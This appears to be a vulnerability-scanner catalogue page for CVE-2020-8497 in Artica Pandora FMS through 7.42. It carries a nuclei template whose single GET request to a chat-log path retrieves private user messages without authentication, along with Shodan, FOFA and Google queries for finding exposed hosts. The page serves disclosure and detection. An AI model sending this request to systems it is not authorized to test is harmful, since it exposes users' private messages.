Artica Pandora FMS <=7.42 - Arbitrary File Read

mediumseverity

5.3CVSS score

4.8%likelihood of exploitation, next 30 days

92%of all CVEs are less likely

Readycheck to confirm it

Artica Pandora FMS through 7.42 is susceptible to arbitrary file read. An attacker can read the chat history, which is in JSON format and contains user names, user IDs, private messages, and timestamps. This can potentially lead to unauthorized data modification and other operations.

Impact

An attacker can exploit this vulnerability to gain unauthorized access to sensitive information, potentially leading to further compromise of the system.

Fix

Upgrade Artica Pandora FMS to version 7.43 or later to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/pandora_console/attachment/pandora_chat.log.json.txt
Positive when: contains "\"type\"" and "\"id_user\"" and "\"user_name\"" and "\"text\"" AND status 200

Run it with nuclei: nuclei -id CVE-2020-8497 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-8497

info:
  name: Artica Pandora FMS <=7.42 - Arbitrary File Read
  author: gy741
  severity: medium
  description: Artica Pandora FMS through 7.42 is susceptible to arbitrary file read. An attacker can read the chat history, which is in JSON format and contains user names, user IDs, private messages, and timestamps. This can potentially lead to unauthorized data modification and other operations.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to sensitive information, potentially leading to further compromise of the system.
  remediation: |
    Upgrade Artica Pandora FMS to version 7.43 or later to mitigate this vulnerability.
  reference:
    - https://k4m1ll0.com/cve-2020-8497.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-8497
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2020-8497
    cwe-id: CWE-306
    epss-score: 0.04813
    epss-percentile: 0.9204
    cpe: cpe:2.3:a:artica:pandora_fms:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: artica
    product: pandora_fms
    shodan-query: http.title:"pandora fms"
    fofa-query: title="pandora fms"
    google-query: intitle:"pandora fms"
  tags: cve,cve2020,fms,artica,vuln,vkev

http:
  - method: GET
    path:
      - '{{BaseURL}}/pandora_console/attachment/pandora_chat.log.json.txt'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"type"'
          - '"id_user"'
          - '"user_name"'
          - '"text"'
        condition: and

      - type: status
        status:
          - 200

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